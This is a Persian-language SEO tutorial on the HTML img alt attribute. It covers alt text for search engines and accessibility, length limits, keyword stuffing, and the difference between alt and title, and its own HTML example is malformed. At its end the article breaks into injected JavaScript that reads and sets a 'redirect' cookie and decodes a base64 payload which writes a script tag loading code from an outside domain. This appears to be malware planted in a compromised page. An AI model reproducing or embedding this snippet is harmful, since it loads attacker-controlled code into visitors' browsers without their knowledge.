اتریبیوت و یا همان ویژگی alt از ویژگی های مهم و بسیار کاربردی در توصیف عکس می باشد که شما با استفاده از آن می توانید محتوای عکس خود را بیان کنید. این ویژگی یکی از کدهای ساختاریِ عکس، در زبان نشانه گذاری HTML و در تگ img می باشد. شما می توانید با استفاده از قابلیت alt عکس، در درک مفهوم عکس، هم به کاربران و هم به ربات های موتور جستجو کمک کنید. فراموش نکنید که ویژگی alt یکی از تاثیرگذار ترین روشها برای بهینه سازی تصاویر سایت می باشد. برای مشاهده ی این اتریبیوت در ساخنار کد های HTML می توانید در صفحه ی سایت با زدن کلیک راست و انتخاب گزینه ی inspect یا گرفتن ctrl+U، سپس ctrl+F و در آخر با وارد کردن کلمه ی alt در قسمت جستجوی بالا آمده، این اتریبیوت را در میان کدها نوشته شده مشاهده کنید.
این اتریبیون بدین صورت در html نوشته می شود:
</img alt=”example”>
alt چیست؟ اتریبیوت alt مخفف چیست؟ altعکس چیست؟ متن جایگزین چیست؟ alt attribute چیست؟ alt description چیست؟ ویژگی های تگ alt چیست؟ کاربرد alt عکس چیست؟ کاربردهای alt چیست؟ کاربرد alt در بهینه سازی عکس چیست؟ چگونه محتوای تصویری سایت خود را بهینه کنیم؟ راهکارهای موثر در سئوی عکس چیست؟ و سایر پرسش ها مسائلی هستند که کاربران زیادی را درگیر خود کرده است.
در این مقاله قصد داریم به تمامی سوالات شما عزیزان در خصوص alt به صورت کامل پاسخ دهیم پس با ما تا انتهای مقاله همراه باشید.
با پیشرفت روز افزون قابلیت های موتورهای جستجو، امروزه عکس به یکی از ابزارهای مهم و تاثیرگذار در بالا بردن میزان ترافیک سایت، تبدیل شده است. با توجه به اینکه در گذشته، توجه زیادی به تصاویر در بالا بردن رتبه ی سایت نمی شد، محتوهای تصویری با گرفتن جایگاه خود در صفحه ی نتایج جستجو، توانستند میزان اهمیت خود را به نمایش بگذارند. به صورتی که اکنون موتور های جستجو درکنار نتایج متنی در صفحات نتایج جستجو، تصاویر را نیز به نمایش می گذارند. با ایجاد چنین شرایطی، رقابت بر سر دیده شدن و گرفتن جایگاه مناسب برای تصاویر سایت، آغاز شد و تلاش برای بهینه سازی محتوای تصویری هر لحظه وارد مراحل تازه تری می شود.
ویژگی alt
از ویژگی ها و قابلیت های مهم در سئو ی تصاویر استفاده از alt می باشد. Alt Text مخفف کلمه ی Alternate Text به معنی متن جایگزین می باشد. در شرایطی که شما قادر به دیدن تصویر نیستید، در داخل کادر تصویر، متن جایگزین تصویر نمایش داده می شود. بخاطر داشته باشید که موتورهای جستجو قابلیت دیدن عکس های شما را ندارند، پس متن جایگزین تصویر به موتور های جستجو در درک و فهم محتوای عکس ها کمک بسیاری می کند.
استفاده از تصاویر در انتقالِ مفهوم محتوای متنی، یکی از روش های پرطرفدار در بالا بردن میزان درک مخاطب از محتوا می باشد. در استفاده ی درست از تصاویر، شما نه تنها به مخاطب و رباتها در درک محتوای خود کمک می کنید بلکه با این کار میزان ترافیک ورودی سایت خود را افزایش می دهید. چطور می شود که با تصاویر سایت میزان ترافیک سایت خود را بالا برد؟ در پاسخ باید بگویم: هنگامی که شما به موتورهای جستجو بفهمانید تصویر شما در چه مورد است، کاربرانی که عنوان متن جایگزین شما را وارد می کنند، تصاویر شما در صفحه ی نتایج تصویری نمایش داده می شود. یکی از کاربردهای alt در صفحه ی نتایج این است که تصاویر سایت شما را بصورت لینک نمایش می دهد که کاربران با کلیک بر روی عکس، وارد سایت شما شده و به این صورت ترافیک ورودی به داخل سایت شما افزایش می یابد.
تا به اینجای کار با تعریف و کارایی alt آشنا شدین. این نکنه را هم بگویم که ممکن است شما در سایت های مختلف، اسم های مختلفی از این ویژگی مانند alt description و alt attribute را بشنوید که تمامی این نامها و عناوین، همگی به یک معنا هستند.
اهمیت متن جایگزین
دلایل مختلفی برای میزان اهمیت متن جایگرین یا همان alt وجود دارد که ما اصلی ترین دلایل را برای شما بیان می کنیم:
- همانطور که قبلا هم گفته شد، alt یکی از هایِ زبان نشانه گذاری HTML می باشد. alt برای توصیفِ تصاویر بکار رفته در سایت، مورد استفاده قرار می گیرد. این کار با هدف قابل فهم کردنِ محتوایِ تصاویر برای موتور های جستجو و کاربران، صورت می گیرد.
برای توصیف تصاویر، بهتر است میزان کاراکتر هایی که درتشریح یک عکس استفاده می کنید، زیاد نباشد و حداکثر تا 100 کاراکتر بکار بگیرید. از کلمات مناسب برای ایجاد یک توصیف دقیق، کامل، و مفید از عکس استفاده کنید. عبارات توصیفی شما، در افزایش رتبه و ترافیک سایت به شما کمک می کنند پس در انتخاب کاراکترها، دقت لازم را داشته باشید. فراموش نشود: اولویت اول در متن جایگزین توصیف دقیق تصویر است.
توجه داشته باشید، در سایت های فروشگاهی، متن جایگزین تصویر که برای توصیف تصویرِ یک محصول استفاده می کنید، با متن جایگزین تصاویر در مقالات کمی متفاوت است.
- alt در بهینه سازی تصاویر به عنوان یک مهره ی کلیدی شناخته می شود. بهینه سازی تصاویر و عنوان آن می تواند به سئویِ هرچه بهتر تصاویر کمک کند که این کار باعث ایجاد تجربه ی کاربری(UX) ایده آل تر و قرار گرفتن در قسمت نتایج Google Image، می شود.
می توانید از عنوان سئوی سایت خود در یکی از متن های جایگزین تصویر استفاده کنید ولی نباید این کار را برای تمامی تصاویر انجام داد. بهتره است این قابلیت را برای مهمترین تصویر و یا تصویر شاخص سایت خود انجام دهید
- برای تمامی تصاویر سایت خود از متن جایگزین تصویر استفاده کنید. اگر که به هر دلیلی تصاویر سایت بارگیری نشدند، متن جایگرین برای مشخص کردن موضوع عکس، به نمایش در می آید.
- متن جایگرین تصویر، فضای مناسبی برای بکارگیری کلمات کلیدی هدف می باشد پس اگرکه قصد دارید از کلمات کلیدی و کانونی محتوای خود در متن جایگزین تصاویر استفاده کنید، بهتر است به صورت بهینه ای این کار صورت گیرد. قرارگرفتن کلمات کلیدی در توصیف تمامی عکس ها، نه تنها تاثیر مفیدی در بهینه سازی شما ندارد بلکه باعث keyword stuffing شده و رتبه ی سایت شما را کاهش می دهد. همچنین بهتر است، کلماتی که در alt عکس بکار می برید شامل خود کلمه ی عکس یا تصویر نباشد. ربات ها با دیدن فرمت فایل، متوجه تصویر بود آن می شوند.
یکسری اشتباه رایج در مورد alt عکس:
- هرگز از تصاویر دارای نوشته بجای متن جایگرین تصویر استفاده نکنید چرا که موتورهای جستجو قادر به خواندن محتوای درون عکس شما نیستند. اگر بر مبنای محتوا و هدف انتقال آن، از تصاویر دارای نوشته استفاده می کنید پیشنهاد می شود متن موجود در عکس را در بخش متن جایگزین نیز بیان کنید.
- بسیاری از کاربران متن جایگزین تصویر را با عنوان تصویر اشتباه می گیرند در صورتی که این دو تعاریف و کارایی های متفاوتی با یکدیگر دارند.
عنوان (title) یکی دیگر از مجموعه ویژگی های تگ img در HTML برای می باشد که عنوان تصویر شما را بیان می کند. با قراردادن نشانگر ماوس بر روی عکس، این متن در داخل کادر کوچکی بر روی عکس به نمایش در می آید. برخلاف alt، در صورتی که عکس مورد نظر بارگیری نشود، عنوان عکس هم نمایش داده نمی شود.
{var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘
